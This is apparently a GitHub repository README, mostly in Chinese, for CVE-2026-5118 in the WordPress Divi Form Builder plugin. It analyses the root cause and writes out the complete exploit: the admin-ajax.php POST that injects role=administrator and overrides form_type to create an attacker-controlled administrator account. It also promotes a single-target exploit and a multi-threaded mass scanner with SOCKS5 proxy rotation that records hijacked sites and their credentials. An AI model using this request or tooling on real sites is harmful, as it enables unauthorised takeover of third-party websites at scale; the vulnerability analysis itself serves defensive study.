1beelze/CVE-2026-5118

GitHub: 1beelze/CVE-2026-5118

针对 WordPress Divi Form Builder 插件未授权权限提升漏洞(CVE-2026-5118)的 PoC 利用工具,支持单目标与批量漏洞验证。

Stars: 0 | Forks: 0

CVE-2026-5118 — Divi Form Builder ≤ 5.1.2

通过 Role Injection 实现的未授权 Privilege Escalation
=== Beelze ( zeroday 1diot9 ) ===

## 📋 漏洞信息
| 字段 | 详情 | |-------|---------| | **CVE ID** | CVE-2026-5118 | | **CVSS Score** | 9.8 (Critical) | | **CVSS Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` | | **CWE** | CWE-269 — 不当的权限管理 | | **Plugin** | Divi Form Builder (由 Divi Engine 开发) | | **受影响版本** | 所有 ≤ 5.1.2 的版本 | | **已修复版本** | 5.1.3 (2026年4月13日) | | **发布日期** | 2026年5月20日 | | **研究员** | 0xd4rk5id3 — EnvoraSec | | **PoC** | Beelze ( zeroday 1diot9 ) |
## 🔍 描述 适用于 WordPress 的 **Divi Form Builder** 插件在所有版本(包括 **5.1.2**)中存在 **未授权 Privilege Escalation** 漏洞。 `FormSubmissionHandler.php` 内部的 `create_user()` 函数在用户注册期间接收来自 POST 数据中用户可控的 `role` 参数,**而没有根据表单配置的 `default_user_role` 设置对其进行验证**。唯一的“保护”措施是 `sanitize_text_field()` —— 它会剥离 HTML 标签和编码,但对于将值限制在安全角色范围内**毫无作用** —— 随后是一个存在性检查,它仅仅验证了该角色在 WordPress 中是否存在(而 `administrator` 始终存在)。 这种三重失败使得未经身份验证的攻击者能够: 1. 找到 **任意** 包含 Divi Form Builder 表单的页面(联系、报价、简报 —— 无论哪种都可以) 2. 从 `de_fb_obj` JavaScript 对象中提取 **全局共享 nonce** (`fb_nonce`) 3. 通过 POST 将 `form_type` 覆盖为 `register` —— 将任意表单转变为注册 endpoint 4. 将 `role=administrator` 注入到 AJAX 提交中 5. 使用攻击者控制的凭据创建一个 **完整的管理员账户** ## 🧬 根本原因分析 ### 1. 来自 POST 数据的未净化 Role 接收 ``` // includes/shared/handlers/FormSubmissionHandler.php — create_user() ~line 2250 $role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) // ← ONLY strips tags/encoding! : 'subscriber'; // ← 'administrator' passes CLEAN ``` `sanitize_text_field()` 专为自由文本净化(防止 XSS)而设计。它**不会**根据安全角色的白名单进行验证。字符串 `"administrator"` 不包含任何 HTML 标签,也没有特殊编码 —— 它会完全不受影响地通过。 ### 2. 仅存在性验证 —— 不是安全检查 ``` // ~line 2278 $roles_obj = wp_roles(); if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) && !isset($roles_obj->roles[$role])) { $role = 'subscriber'; // ← fallback ONLY if role doesn't exist } ``` 这个检查的问题是:_"这个 role 在 WordPress 中是否存在?"_ —— 而 `administrator` **始终存在**。它从来没有问过正确的问题:_"这个 role 用于公开的自助注册安全吗?"_ 正确的检查应该根据类似 `['subscriber', 'contributor']` 的白名单进行验证,或者强制执行表单的 `default_user_role` 设置。 ### 3. 没有 Capability Gate 的直接 Role 分配 ``` // ~line 2301 $user = new WP_User($user_id); $user->set_role($role); // ← attacker-controlled role applied directly! ``` 没有 `current_user_can('create_users')` 检查。没有 `current_user_can('promote_users')` 检查。没有任何类型的能力验证。攻击者提供的 role 被直接传递给了 `set_role()`。 ### 4. 全局共享 Nonce —— 在每个带有表单的页面上暴露 ``` // Frontend JS localization wp_localize_script('de-fb-scripts', 'de_fb_obj', [ 'ajax_url' => admin_url('admin-ajax.php'), 'nonce' => wp_create_nonce('security'), // ← SAME nonce on ALL forms, ALL pages // ... ]); ``` `fb_nonce` 是通过 `wp_create_nonce('security')` 创建的 —— 这是一个在站点上的每一个 DFB 表单之间共享的通用操作字符串。任何访问者都可以通过读取 `de_fb_obj` JavaScript 对象从页面源代码中提取它。 ### 5. 表单类型覆盖 —— 任意表单都成为注册 Endpoint ``` // AJAX handler $form_type = isset($_POST['form_type']) ? $_POST['form_type'] : ''; if ($form_type === 'register') { $this->create_user($form_data); // ← triggered by POST override! } ``` `form_type` 是从 POST 数据中读取的,而不是从服务器端的表单配置中读取的。攻击者可以向**任意** DFB AJAX 提交(联系表单、报价请求、简报注册)发送 `form_type=register`,服务器将会执行注册代码路径。表单原本的用途是无关紧要的。 ## ⚔️ 攻击链 ``` [Unauthenticated Attacker] │ ▼ GET /any-page-with-dfb-form/ ← HTML source: de_fb_obj = {"nonce":"abc123def0", ...} │ ▼ Extract fb_nonce from de_fb_obj JavaScript object │ ▼ POST /wp-admin/admin-ajax.php ┌──────────────────────────────────────────────┐ │ action = de_fb_ajax_submit_ajax_handler │ │ fb_nonce = abc123def0 │ │ role = administrator ← INJECTED │ │ form_type = register ← OVERRIDDEN │ │ user_login = attacker_admin │ │ user_pass = AttackerPass123! │ │ user_email = attacker@evil.com │ └──────────────────────────────────────────────┘ │ ▼ sanitize_text_field('administrator') → 'administrator' ✓ passes wp_roles()->roles['administrator'] exists? → YES ✓ passes $user->set_role('administrator') ✓ no capability check │ ▼ ← {"success": true, "data": {"message": "User created"}} │ ▼ POST /wp-login.php log=attacker_admin & pwd=AttackerPass123! ← 302 → /wp-admin/ │ ▼ [Full Administrator Access] 🔥 ``` ## 🛠️ 工具 ### `CVE-2026-5118.py` — 单目标 Exploit 完整的 5 阶段 exploit 链,带有自动表单发现和 nonce 提取功能。 ``` python3 CVE-2026-5118.py ``` ``` Target URL: https://target.com Username [beelze_admin]: Password [Beelze123!!@#!]: Email [beelze@exploit.lab]: Timeout (seconds) [15]: SOCKS5 proxy (blank = none): ``` **Exploit 阶段:** ``` Phase 1 ▶ Reachability (HTTPS + HTTP fallback) Phase 2 ▶ Plugin Detection (readme.txt version check) Phase 3 ▶ Form Discovery & Nonce Extraction ├── REST API page scan ├── Common path probing ├── Sitemap crawl └── Homepage link crawl Phase 4 ▶ Role Injection (Privilege Escalation) Phase 5 ▶ Admin Login Verification ``` **输出 (`scan_results/CVE-2026-5118_success.txt`):** ``` https://target.com | beelze_admin:Beelze123!!@#! ``` ### `CVE-2026-5118-mass.py` — 批量扫描器 多线程批量漏洞利用,带有 JSONL 日志记录和恢复支持。 ``` python3 CVE-2026-5118-mass.py ``` ``` Target file (one URL per line): targets.txt Username [beelze_admin]: Password [Beelze123!!@#!]: Email [beelze@exploit.lab]: Threads [10]: Timeout (seconds) [10]: Proxy file (SOCKS5, one per line, blank = none): Resume previous scan? (y/n) [n]: ``` **特性:** - 具有可配置线程数的多线程扫描 - SOCKS5 代理轮换 - 用于程序化处理的 JSONL 输出 - 恢复支持 —— 跳过已扫描的目标 - 带有实时统计数据的富文本进度条 - 当 HTTPS 失败时自动回退到 HTTP **输出 (`scan_results/CVE-2026-5118_success.txt`):** ``` https://target1.com | beelze_admin:Beelze123!!@#! https://target2.com | beelze_admin:Beelze123!!@#! ``` ## 🔒 缓解措施 - 将 Divi Form Builder 更新至 **5.1.3** 或更高版本 - 该补丁强制要求分配的 role 始终是服务器端表单 `default_user_role` 设置中配置的那个,并忽略 POST 数据中任何用户提供的 `role` 参数
**Beelze ( zeroday 1diot9 )** — 仅供教育和授权的安全研究使用
标签:Web安全, WordPress插件, 协议分析, 威胁模拟, 安全漏洞, 文件完整性监控, 无服务器架构, 权限提升, 蓝队分析, 逆向工具